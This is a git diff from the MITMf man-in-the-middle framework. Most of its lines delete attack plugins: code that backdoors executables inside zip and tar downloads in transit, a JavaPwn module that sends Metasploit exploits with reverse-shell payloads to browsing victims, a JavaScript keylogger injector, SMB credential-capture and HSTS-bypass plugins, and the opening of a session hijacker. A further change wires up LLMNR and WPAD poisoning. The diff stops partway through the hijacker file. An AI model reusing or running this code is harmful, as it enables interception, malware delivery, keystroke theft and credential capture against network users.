SHELL=self.MachoIntelx86['SHELL'], - HOST=self.MachoIntelx86['HOST'], - PORT=int(self.MachoIntelx86['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': - targetFile = machobin.machobin(FILE=binaryFile, - OUTPUT=os.path.basename(binaryFile), - SHELL=self.MachoIntelx64['SHELL'], - HOST=self.MachoIntelx64['HOST'], - PORT=int(self.MachoIntelx64['PORT']), - SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], - FAT_PRIORITY=self.FatPriority - ) - result = targetFile.run_this() - - self.patched.put(result) - return - - except Exception as e: - print 'Exception', str(e) - mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e)) - return None - - def tar_files(self, aTarFileBytes, formatt): - "When called will unpack and edit a Tar File and return a tar file" - - print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB' - - if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): - print "[!] TarFile over allowed size" - mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes))) - self.patched.put(aTarFileBytes) - return - - with tempfile.NamedTemporaryFile() as tarFileStorage: - tarFileStorage.write(aTarFileBytes) - tarFileStorage.flush() - - if not tarfile.is_tarfile(tarFileStorage.name): - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - compressionMode = ':' - if formatt == 'gz': - compressionMode = ':gz' - if formatt == 'bz': - compressionMode = ':bz2' - - tarFile = None - try: - tarFileStorage.seek(0) - tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode) - except tarfile.ReadError: - pass - - if tarFile is None: - print '[!] Not a tar file' - self.patched.put(aTarFileBytes) - return - - print '[*] Tar file contents and info:' - print '[*] Compression:', formatt - - members = tarFile.getmembers() - for info in members: - print "\t", info.name, info.mtime, info.size - - newTarFileStorage = tempfile.NamedTemporaryFile() - newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage) - - patchCount = 0 - wasPatched = False - - for info in members: - print "[*] >>> Next file in tarfile:", info.name - - if not info.isfile(): - print info.name, 'is not a file' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - if info.size >= long(self.FileSizeMax): - print info.name, 'is too big' - newTarFile.addfile(info, tarFile.extractfile(info)) - continue - - # Check against keywords - keywordCheck = False - - if type(self.tarblacklist) is str: - if self.tarblacklist.lower() in info.name.lower(): - keywordCheck = True - - else: - for keyword in self.tarblacklist: - if keyword.lower() in info.name.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Tar blacklist enforced!" - mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name)) - continue - - # Try to patch - extractedFile = tarFile.extractfile(info) - - if patchCount >= int(self.userConfig['TAR']['patchCount']): - newTarFile.addfile(info, extractedFile) - else: - # create the file on disk temporarily for fileGrinder to run on it - with tempfile.NamedTemporaryFile() as tmp: - shutil.copyfileobj(extractedFile, tmp) - tmp.flush() - patchResult = self.binaryGrinder(tmp.name) - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(tmp.name) - print "[*] Patching complete, adding to tar file." - info.size = os.stat(file2).st_size - with open(file2, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - with open(tmp.name, 'rb') as f: - newTarFile.addfile(info, f) - mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name)) - if patchCount == int(self.userConfig['TAR']['patchCount']): - mitmf_logger.info("Met Tar config patchCount limit.") - - # finalize the writing of the tar file first - newTarFile.close() - - # then read the new tar file into memory - newTarFileStorage.seek(0) - ret = newTarFileStorage.read() - newTarFileStorage.close() # it's automatically deleted - - if wasPatched is False: - # If nothing was changed return the original - print "[*] No files were patched forwarding original file" - self.patched.put(aTarFileBytes) - return - else: - self.patched.put(ret) - return - - def zip_files(self, aZipFile): - "When called will unpack and edit a Zip File and return a zip file" - - print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB' - - if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): - print "[!] ZipFile over allowed size" - mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile))) - self.patched.put(aZipFile) - return - - tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) - tmpDir = '/tmp/' + tmpRan - tmpFile = '/tmp/' + tmpRan + '.zip' - - os.mkdir(tmpDir) - - with open(tmpFile, 'w') as f: - f.write(aZipFile) - - zippyfile = zipfile.ZipFile(tmpFile, 'r') - - #encryption test - try: - zippyfile.testzip() - - except RuntimeError as e: - if 'encrypted' in str(e): - mitmf_logger.info('Encrypted zipfile found. Not patching.') - return aZipFile - - print "[*] ZipFile contents and info:" - - for info in zippyfile.infolist(): - print "\t", info.filename, info.date_time, info.file_size - - zippyfile.extractall(tmpDir) - - patchCount = 0 - - wasPatched = False - - for info in zippyfile.infolist(): - print "[*] >>> Next file in zipfile:", info.filename - - if os.path.isdir(tmpDir + '/' + info.filename) is True: - print info.filename, 'is a directory' - continue - - #Check against keywords - keywordCheck = False - - if type(self.zipblacklist) is str: - if self.zipblacklist.lower() in info.filename.lower(): - keywordCheck = True - - else: - for keyword in self.zipblacklist: - if keyword.lower() in info.filename.lower(): - keywordCheck = True - continue - - if keywordCheck is True: - print "[!] Zip blacklist enforced!" - mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename)) - continue - - patchResult = self.binaryGrinder(tmpDir + '/' + info.filename) - - if patchResult: - patchCount += 1 - file2 = "backdoored/" + os.path.basename(info.filename) - print "[*] Patching complete, adding to zip file." - shutil.copyfile(file2, tmpDir + '/' + info.filename) - mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename)) - os.remove(file2) - wasPatched = True - else: - print "[!] Patching failed" - mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename)) - - print '-' * 10 - - if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting. - mitmf_logger.info("Met Zip config patchCount limit.") - break - - zippyfile.close() - - zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED) - - print "[*] Writing to zipfile:", tmpFile - - for base, dirs, files in os.walk(tmpDir): - for afile in files: - filename = os.path.join(base, afile) - print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '') - zipResult.write(filename, arcname=filename.replace(tmpDir + '/', '')) - - zipResult.close() - #clean up - shutil.rmtree(tmpDir) - - with open(tmpFile, 'rb') as f: - tempZipFile = f.read() - os.remove(tmpFile) - - if wasPatched is False: - print "[*] No files were patched forwarding original file" - self.patched.put(aZipFile) - return - else: - self.patched.put(tempZipFile) - return - - def handleResponse(self, request, data): - - content_header = request.client.headers['Content-Type'] - client_ip = request.client.getClientIP() - - if content_header in self.zipMimeTypes: - - if self.bytes_have_format(data, 'zip'): - mitmf_logger.info("{} Detected supported zip file type!".format(client_ip)) - - process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) - process.daemon = True - process.start() - process.join() - bd_zip = self.patched.get() - - if bd_zip: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_zip} - - else: - for tartype in ['gz','bz','tar']: - if self.bytes_have_format(data, tartype): - mitmf_logger.info("{} Detected supported tar file type!".format(client_ip)) - - process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) - process.daemon = True - process.start() - process.join() - bd_tar = self.patched.get() - - if bd_tar: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_tar} - - - elif content_header in self.binaryMimeTypes: - for bintype in ['pe','elf','fatfile','machox64','machox86']: - if self.bytes_have_format(data, bintype): - mitmf_logger.info("{} Detected supported binary type!".format(client_ip)) - fd, tmpFile = mkstemp() - with open(tmpFile, 'w') as f: - f.write(data) - - process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) - process.daemon = True - process.start() - process.join() - patchb = self.patched.get() - - if patchb: - bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() - os.remove('./backdoored/' + os.path.basename(tmpFile)) - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_binary} - - else: - mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header)) - return {'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index 68cd277..a28375b 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -24,15 +24,10 @@ import re import sys import argparse -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr - from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.CacheKill import CacheKill -mitmf_logger = logging.getLogger('mitmf') - class Inject(CacheKill, Plugin): name = "Inject" optname = "inject" diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py deleted file mode 100644 index 15a292d..0000000 --- a/plugins/JavaPwn.py +++ /dev/null @@ -1,235 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import string -import random -import threading -import sys -import logging - -from core.msfrpc import Msfrpc -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler -from time import sleep - -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr - -requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message -requests_log.setLevel(logging.WARNING) - -mitmf_logger = logging.getLogger('mitmf') - -class JavaPwn(BrowserProfiler, Plugin): - name = "JavaPwn" - optname = "javapwn" - desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" - tree_output = [] - depends = ["Browserprofiler"] - version = "0.3" - has_opts = False - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.msfip = options.ip_address - self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit - - try: - msfcfg = options.configfile['MITMf']['Metasploit'] - except Exception, e: - sys.exit("[-] Error parsing Metasploit options in config file : " + str(e)) - - try: - self.javacfg = options.configfile['JavaPwn'] - except Exception, e: - sys.exit("[-] Error parsing config for JavaPwn: " + str(e)) - - self.msfport = msfcfg['msfport'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - self.black_ips = [] - - try: - msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - msf.login('msf', self.rpcpass) - version = msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v%s" % version) - except Exception: - sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") - - t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) - t.setDaemon(True) - t.start() #start the main thread - - def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) - - def get_exploit(self, java_version): - exploits = [] - - client_vstring = java_version[:-len(java_version.split('.')[3])-1] - client_uversion = int(java_version.split('.')[3]) - - for ver in self.javacfg['Multi'].iteritems(): - if type(ver[1]) is list: - for list_vers in ver[1]: - - version_string = list_vers[:-len(list_vers.split('.')[3])-1] - update_version = int(list_vers.split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif (client_vstring == version_string): - if client_uversion <= update_version: - exploits.append(ver[0]) - else: - version_string = ver[1][:-len(ver[1].split('.')[3])-1] - update_version = int(ver[1].split('.')[3]) - - if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): - if client_uversion == update_version: - exploits.append(ver[0]) - elif client_vstring == version_string: - if client_uversion <= update_version: - exploits.append(ver[0]) - - return exploits - - - def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions - #inject iframe - mitmf_logger.info("%s >> now injecting iframe to trigger exploit" % client_ip) - self.html_payload = "" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects - - mitmf_logger.info('%s >> waiting for ze shellz, Please wait...' % client_ip) - - exit = False - i = 1 - while i <= 30: #wait max 60 seconds for a new shell - if exit: - break - shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions - if len(shell) > 0: - for k, v in shell.iteritems(): - if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted - mitmf_logger.info("%s >> Got shell!" % client_ip) - self.sploited_ips.append(client_ip) #target successfuly exploited :) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit = True - break - sleep(2) - i += 1 - - if exit is False: #We didn't get a shell :( - mitmf_logger.info("%s >> session not established after 30 seconds" % client_ip) - - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def send_command(self, cmd, msf, vic_ip): - try: - mitmf_logger.info("%s >> sending commands to metasploit" % vic_ip) - - #Create a virtual console - console_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [console_id, cmd]) - - mitmf_logger.info("%s >> commands sent succesfully" % vic_ip) - except Exception, e: - mitmf_logger.info('%s >> Error accured while interacting with metasploit: %s:%s' % (vic_ip, Exception, e)) - - def pwn(self, msf): - while True: - if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled - - brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format - - if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited - - vic_ip = brwprofile['ip'] - - mitmf_logger.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) - mitmf_logger.info("%s >> Choosing exploit based on version string" % vic_ip) - - exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg - - if exploits: - - if len(exploits) > 1: - mitmf_logger.info("%s >> client is vulnerable to %s exploits!" % (vic_ip, len(exploits))) - exploit = random.choice(exploits) - mitmf_logger.info("%s >> choosing %s" %(vic_ip, exploit)) - else: - mitmf_logger.info("%s >> client is vulnerable to %s!" % (vic_ip, exploits[0])) - exploit = exploits[0] - - #here we check to see if we already set up the exploit to avoid creating new jobs for no reason - jobs = msf.call('job.list') #get running jobs - if len(jobs) > 0: - for k, v in jobs.iteritems(): - info = msf.call('job.info', [k]) - if exploit in info['name']: - mitmf_logger.info('%s >> %s already started' % (vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - self.injectWait(msf, url, vic_ip) - - else: #here we setup the exploit - rand_port = random.randint(1000, 65535) #generate a random port for the payload listener - rand_url = self.rand_url() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/%s\n" % exploit - cmd += "set SRVPORT %s\n" % self.msfport - cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform - cmd += "set LHOST %s\n" % self.msfip - cmd += "set LPORT %s\n" % rand_port - cmd += "exploit -j\n" - - mitmf_logger.debug("command string:\n%s" % cmd) - - self.send_command(cmd, msf, vic_ip) - - self.injectWait(msf, rand_url, vic_ip) - else: - #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) - mitmf_logger.info("%s >> client is not vulnerable to any java exploit" % vic_ip) - mitmf_logger.info("%s >> falling back to the signed applet attack" % vic_ip) - - rand_url = self.rand_url() - rand_port = random.randint(1000, 65535) - - cmd = "use exploit/multi/browser/java_signed_applet\n" - cmd += "set SRVPORT %s\n" % self.msfport - cmd += "set URIPATH %s\n" % rand_url - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST %s\n" % self.msfip - cmd += "set LPORT %s\n" % rand_port - cmd += "exploit -j\n" - - self.send_command(cmd, msf, vic_ip) - self.injectWait(msf, rand_url, vic_ip) - sleep(1) diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py deleted file mode 100644 index 8acfe96..0000000 --- a/plugins/JsKeylogger.py +++ /dev/null @@ -1,169 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from plugins.Inject import Inject -import logging - -mitmf_logger = logging.getLogger('mitmf') - -class jskeylogger(Inject, Plugin): - name = "Javascript Keylogger" - optname = "jskeylogger" - desc = "Injects a javascript keylogger into clients webpages" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - depends = ["Inject"] - version = "0.2" - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.msf_keylogger() - - def sendPostData(self, request): - #Handle the plugin output - if 'keylog' in request.uri: - - raw_keys = request.postData.split("&&")[0] - keys = raw_keys.split(",") - del keys[0]; del(keys[len(keys)-1]) - - input_field = request.postData.split("&&")[1] - - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice.replace(nice[-1:], "") - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - mitmf_logger.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n)) - - #try: - # input_field = input_field.decode('hex') - #except: - # mitmf_logger.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field)) - - mitmf_logger.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice)) - - def msf_keylogger(self): - #Stolen from the Metasploit module http_javascript_keylogger - - payload = """""" - - return payload \ No newline at end of file diff --git a/plugins/Replace.py b/plugins/Replace.py deleted file mode 100644 index f623736..0000000 --- a/plugins/Replace.py +++ /dev/null @@ -1,105 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -""" -Plugin by @rubenthijssen -""" - -import sys -import logging -import time -import re -from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill - -mitmf_logger = logging.getLogger('mitmf') - -class Replace(CacheKill, Plugin): - name = "Replace" - optname = "replace" - desc = "Replace arbitrary content in HTML content" - implements = ["handleResponse", "handleHeader", "connectionMade"] - depends = ["CacheKill"] - version = "0.1" - has_opts = True - - def initialize(self, options): - self.options = options - - self.search_str = options.search_str - self.replace_str = options.replace_str - self.regex_file = options.regex_file - - if (self.search_str is None or self.search_str == "") and self.regex_file is None: - sys.exit("[-] Please provide a search string or a regex file") - - self.regexes = [] - if self.regex_file is not None: - for line in self.regex_file: - self.regexes.append(line.strip().split("\t")) - - if self.options.keep_cache: - self.implements.remove("handleHeader") - self.implements.remove("connectionMade") - - self.ctable = {} - self.dtable = {} - self.mime = "text/html" - - def handleResponse(self, request, data): - ip, hn, mime = self._get_req_info(request) - - if self._should_replace(ip, hn, mime): - - if self.search_str is not None and self.search_str != "": - data = data.replace(self.search_str, self.replace_str) - mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) - - # Did the user provide us with a regex file? - for regex in self.regexes: - try: - data = re.sub(regex[0], regex[1], data) - - mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - except Exception: - logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - - return {'request': request, 'data': data} - - return - - def add_options(self, options): - options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)") - options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.") - options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: [tab][new-line]") - options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.") - - def _should_replace(self, ip, hn, mime): - return mime.find(self.mime) != -1 - - def _get_req_info(self, request): - ip = request.client.getClientIP() - hn = request.client.getRequestHostname() - mime = request.client.headers['Content-Type'] - - return (ip, hn, mime) diff --git a/plugins/Responder.py b/plugins/Responder.py index 81c0186..676553f 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -23,9 +23,10 @@ import os import threading from plugins.plugin import Plugin -from libs.responder.Responder import ResponderMITMf -from core.sslstrip.DnsCache import DnsCache from twisted.internet import reactor +from core.responder.wpad.WPADPoisoner import WPADPoisoner +from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner +from core.utils import SystemConfig class Responder(Plugin): name = "Responder" @@ -37,37 +38,32 @@ class Responder(Plugin): def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' - self.options = options + self.options = options self.interface = options.interface + self.ourip = SystemConfig.getIP(options.interface) try: - config = options.configfile['Responder'] + config = self.config['Responder'] except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - if options.Analyze: + LLMNRPoisoner().start(options, self.ourip) + + if options.wpad: + WPADPoisoner().start() + + if options.analyze: self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - resp = ResponderMITMf() - resp.setCoreVars(options, config) - - result = resp.AnalyzeICMPRedirect() - if result: - for line in result: - self.tree_output.append(line) - - resp.printDebugInfo() - resp.start() - - def plugin_reactor(self, strippingFactory): + def pluginReactor(self, strippingFactory): reactor.listenTCP(3141, strippingFactory) def add_options(self, options): - options.add_argument('--analyze', dest="Analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") - options.add_argument('--basic', dest="Basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") - options.add_argument('--wredir', dest="Wredirect", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--nbtns', dest="NBTNSDomain", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") - options.add_argument('--fingerprint', dest="Finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") - options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") - options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") + options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") + options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") + options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False") + options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False") + options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query") + options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False") + options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py deleted file mode 100644 index a1df8fe..0000000 --- a/plugins/SMBAuth.py +++ /dev/null @@ -1,49 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from plugins.Inject import Inject -import sys -import logging - -class SMBAuth(Inject, Plugin): - name = "SMBAuth" - optname = "smbauth" - desc = "Evoke SMB challenge-response auth attempts" - depends = ["Inject"] - version = "0.1" - has_opts = True - - def initialize(self, options): - Inject.initialize(self, options) - self.target_ip = options.host - - if not self.target_ip: - self.target_ip = options.ip_address - - self.html_payload = self._get_data() - - def add_options(self, options): - options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") - - def _get_data(self): - return ''\ - ''\ - '' % tuple([self.target_ip]*3) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py deleted file mode 100644 index 282b909..0000000 --- a/plugins/SSLstrip+.py +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import sys -import logging - -from plugins.plugin import Plugin -from core.utils import IpTables -from core.sslstrip.URLMonitor import URLMonitor -from core.dnschef.dnschef import DNSChef - -class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.4" - tree_output = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False - - def initialize(self, options): - self.options = options - self.manualiptables = options.manualiptables - - try: - hstsconfig = options.configfile['SSLstrip+'] - except Exception, e: - sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(options.ip_address, options.configfile['MITMf']['DNS']['port']) - - URLMonitor.getInstance().setHstsBypass(hstsconfig) - DNSChef.getInstance().setHstsBypass(hstsconfig) - - def finish(self): - if not self.manualiptables: - if IpTables.getInstance().dns is True: - IpTables.getInstance().Flush() \ No newline at end of file diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py deleted file mode 100644 index ff9a3ec..0000000 --- a/plugins/SessionHijacker.py +++ /dev/null @@ -1,187 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb - -from plugins.plugin import Plugin -from core.publicsuffix.publicsuffix import PublicSuffixList -from urlparse import urlparse -import threading -import os -import sys -import time -import logging -import sqlite3 